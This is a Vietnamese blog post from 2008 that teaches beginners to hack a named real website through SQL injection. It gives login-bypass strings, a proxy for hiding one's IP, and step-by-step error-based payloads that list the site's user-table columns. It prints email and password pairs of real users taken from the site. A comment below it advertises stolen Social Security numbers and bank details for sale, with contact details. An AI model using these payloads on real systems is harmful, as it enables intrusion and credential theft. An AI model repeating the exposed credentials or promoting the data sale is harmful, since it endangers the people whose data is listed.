Tuesday, August 26, 2008

Căn bản hack 1 website bị lỗi SQL Injection

Căn bản hack 1 website bị lỗi SQL Injection
++ Sau một thời gian tìm hiểu về sql injection, cũng như muốn giúp cho một số bác newbie hiểu một cách gần như hòan chỉnh về Sql injeciton ? Vậy Sql injeciton là gì ? By pass login là gì ? Có thể hiểu một cách cơ bản nhất về Sql injeciton là "lỗi xảy ra trong quá trình xử lý thông tin bên ngòai đưa vào" ..... còn by pass login có thể hiểu là " với by pass thì ta có thể đăng nhập vào bất cứ nơi nào bị dính sql injection mà ta ko cần biết thông tin về user, pass, email ...... " .... cơ bản là như thế đấy, còn muốn hiểu rõ ràng hơn, cũng như khoa học hơn hãy tìm đọc trong các tài liệu của nước ngòai nhé (muốn tìm vào google.com search từ khóa là : sql injection exploit) ... hoặc tham khảo các bài viết của các staff HVA (vicki, mrro, windak, $$$ ....)
++ Vậy by pass login như thế nào ? À, đôi khi bạn truy cập vào 1 số trang nào đó, bạn sẽ để ý có phần đăng nhập ... và bạn muốn đăng nhập với quyền quản trị thì sao ? hì .. hì ... chỉ cần biết user và pass là có thể đăng nhập thôi chứ gì ? Nhưng trong trường hợp ko biết thì pó tay .. hì hì ... vậy by pass login sẽ giúp cho bạn đăng nhập vào nơi đó với quyền cao nhất .. cơ bản là vậy đó nha. Còn đây là một số data giúp bạn submit để xem coi nó bị by pass login ko :

Username
Password

' or 1=1--
' or 1=1--

" or 1=1--
" or 1=1--

or 1=1--
or 1=1--

' or 'a'='a
' or 'a'='a

" or "a"="a
" or "a"="a

') or ('a'='a
') or ('a'='a


( còn nhiều lắm đó, cơ bản là bao nhiêu đây, bạn có thể thay đổi như thế nào đó mà login được là thành công rồi ! )
++ Vậy sql injection như thế nào ? Thực tập luôn nha (trước khi thực tập thì nên mask bằng proxy nhé, để cho an tòan mà : IP: 171.64.64.216, port: 3128 - proxy này level 5) hi vọng sau khi thực tập xong trang này bạn sẽ tích hợp được phần nào khái niệm hack bằng sql injection, trang mình chọn là : http://www.gayseattle.com/ theo tìm hiểu sơ qua trang này ko có cc, cũng như ko có thông tin gì quan trọng cả, chủ yếu để các bạn tìm hiểu chứ ko hướng dẫn bạn hack cc .... nếu bạn nào thích thú thì xem như là thành công nho nhỏ rồi đó. Sau khi vào http://www.gayseattle.com/ bạn nhìn bên phải có 1 form cho đăng nhập, thông tin cần là e-mail và password, để khai thác nhập vào chổ e-mail là những dấu sau (những dấu có màu đỏ nha) : ',",),(, bạn sẽ nhận được một thông báo lỗi dạng như sau (sau khi bạn nhập vào dấu '):
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string '''.
/login.asp, line 41

Wow .. wow .. vậy là trang này dính sql injection rồi, giờ là đến lúc chúng ta khai thác nó. Để lấy các table và column bạn có 2 cách ( dùng ' having 1=1--sp_password, kết hợp với ' group by tên cột đã biết having 1=1--sp_password ).

Dùng cách 1: Nhập vào ' having 1=1--sp_password vào chổ e-mail, bạn sẽ nhận được 1 thông báo như sau :

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'Users.ID' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
/login.asp, line 41

Vậy là bạn biết tại form này nhận vào table Users và cột đầu tiên mang tên là : ID, giờ khai thác thêm các cột khác : Cũng tại chổ e-mail đó nhập vào : ' group by Users.ID having 1=1--sp_password nhận tiếp 1 thông báo như sau :

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'Users.IRCID' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/login.asp, line 41

Vậy là biết thêm có 1 cột nữa mang tên là IRCID dùng dấu , giữa 2 cột nhé, giờ lấy tên cột tiếp theo nữa : ' group by Users.ID,Users.IRCID having 1=1--sp_password

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'Users.MatchMakerID' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/login.asp, line 41
và nhận được thêm 1 cột nữa tên là : MatchMakerID, tiếp tục như thế bạn lấy tên các cột còn lại, đến khi nào hết thì thôi, khi nào lấy hết tên các cột thì nó sẽ trở lại trang login mà không có báo lỗi gì nữa cả. Đến lúc đó bạn đã biết rằng mình đã lấy hết tên các cột rồi đó.

Dùng cách 2: Hãy dạo một vòng trang web, click đại vào 1 link bất kỳ đi, miễn sao link đó có dạng xxx.asp?yyy=???, chẵng hạn như : http://www.gayseattle.com/Community/...egory=Clothing, thử xem coi link này dính sql injection ko nhé, bằng cách xóa chử Clothing thay bằng dấu ' (dấu phẩy), (đôi khi một số trường hợp ta ko xóa chử đó mà chỉ cần thêm dấu ' thôi ---> Clothing' ) link sẽ như sau : http://www.gayseattle.com/Community/....asp?Category=' Nhận dc một thông báo .Vậy là xong, link này cũng dính sql injection ..... giờ ta lấy tên của các cột bằng " magic convert " do bên trên ta đã biết trang này có 1 table mang tên là : Users, để nhanh chóng ta đi vào lấy tên các cột của table này luôn mà không cần tìm tất cả các table hiện có.
http://www.gayseattle.com/Community/....asp?Category=' and 1=convert(int,(SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='Users' ))--sp_password' and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='users' ))--sp_password

Bạn sẽ nhận được 1 thông báo như sau :
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'id' to a column of data type int.
/Community/YellowPages/directory.asp, line 19

cột đầu tiên cũng là id phải không ? quá đúng rồi còn gì nữa, giờ lấy tên các cột tiếp theo :

http://www.gayseattle.com/Community/....asp?Category=' and 1=convert(int,(SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='Users' and column_name not in('id')))--sp_password' and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='users' and column_name not in('id')))--sp_password

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'Firstname' to a column of data type int.
/Community/YellowPages/directory.asp, line 19

Vậy là tên cột tiếp theo là FirstName, lấy tên cột kế tiếp :

http://www.gayseattle.com/Community/....asp?Category=' and 1=convert(int,(SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='Users' and column_name not in('id')))--sp_password' and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='users' and column_name not in('id','firstname')))--sp_password

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'LastName' to a column of data type int.
/Community/YellowPages/directory.asp, line 19

các cột cách nhau bằng dấu , và tên cột nằm trong 2 dấu nháy '' như sau : ,'tên cột', cứ như vậy ta lấy tên các cột tiếp theo nhé ! Mình cũng đã lấy hết các cột của bảng Users này rồi, bạn tham khảo xem coi có giống của bạn không nhé :

' and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='users' and column_name not in('id','firstname','lastname','address','city','s tate','zip','email','password','emailok','postalma ilok','gayevents','singleevents','supportgroups'
,'irc','nightlife','businesses','otherinterests',' gender','ircnews','monitorresolution','monitorsize ','hearaboutus','ircid','matchmakerid','age'
,'address2','dateregistered3','lastvisit','adverti serid','cookies')))--sp_password

Bạn có để ý rằng với 2 cách trên thì thứ tự tên các cột bạn nhận được không giống nhau, nhưng dù cách nào đi nữa thì số cột cuối cùng bạn nhận được cũng như nhau mà thôi !

Lưu ý: Các cậu lệnh dùng để hack phải được viết trên 1 dòng nhé, không được xuống dòng nhé, do khuôn khổ trình bày đôi khi có sai lệch đôi chút, nhưng bạn phải nhớ kỹ nhé !

Vậy coi như là xong 50% rồi, giờ đến lúc bạn lấy info để login vào, trong form login đòi hỏi e-mail và password, giờ hãy nhìn lại số cột mà bạn nhận được từ bảng Users xem, khà khà .. thế nào, có tìm được cột có tên là email và password không, nếu ko có tức là bạn tìm chưa đủ, hãy tìm lại lần nữa nha .... :-)
Khai thác thì có nhiều cách lắm, giờ mình hướng dẫn cách khai thác nhanh nhất, gọn nhất, còn các cách khác bạn chịu khó xem lại tài liệu của các Staff HVA nhé ! Dùng CONVERT để khai thác :

http://www.gayseattle.com/Community/....asp?Category=' and 1=convert(int,(select top 1 email+'/'+password from Users))--sp_password' and 1=convert(int,(select top 1 email%2b'/'%2bpassword from Users))--sp_password

%2b == + (dấu %2b thay thế cho dấu +). Ta sẽ gộp 2 cột lại với nhau bằng dấu '/' để kết quả sau khi nhận được dễ phân biệt hơn. Kết quả bạn sẽ nhận được là :

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'ygdrasil@mindspring.com/laeris' to a column of data type int.
/Community/YellowPages/directory.asp, line 19
Wow ... woow .... xong rùi đó, giờ Back lại trang chính và login vào xem thế nào nhé (http://www.gayseattle.com/login.asp) thành công rồi chứ ?? :-) Giờ làm sao để lấy các thông tin khác nữa .... để lấy thông tin của thành viên khác thì ta sẽ lọai trừ cái email của người mà vừa lấy xong :-)..........

http://www.gayseattle.com/Community/....asp?Category=' and 1=convert(int,(select top 1 email+'/'+password from Users where email not in('ygdrasil@mindspring.com')))--sp_password' and 1=convert(int,(select top 1 email%2b'/'%2bpassword from Users where email not mailto:in('ygdrasil@mindspring.com')))--sp_password))--sp_password

Kết quả nhận được là :

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'louisk@guiware.com/lmk1234' to a column of data type int.
/Community/YellowPages/directory.asp, line 19

url:http://danviet.biz/forum/showthread.php?t=724

1 comment:

No Name said...

Hi All!

I'm selling fresh & genuine SSN Leads, with good connectivity. All data is tested & verified.
Headers in Leads:

First Name | Last Name | SSN | Dob | Address | State | City | Zip | Phone Number | Account Number | Bank NAME | DL Number | House Owner

*You can ask for sample before any deal
*Each SSN lead will be cost $1
*Premium Lead will be cost $5
*If anyone wants in bulk I will negotiate
*Sampling is just for serious buyers

Hope for the long term deal
For detailed information please contact me on:

Whatsapp > +923172721122
Email > leads.sellers1212@gmail.com
Telegram > @leadsupplier
ICQ > 752822040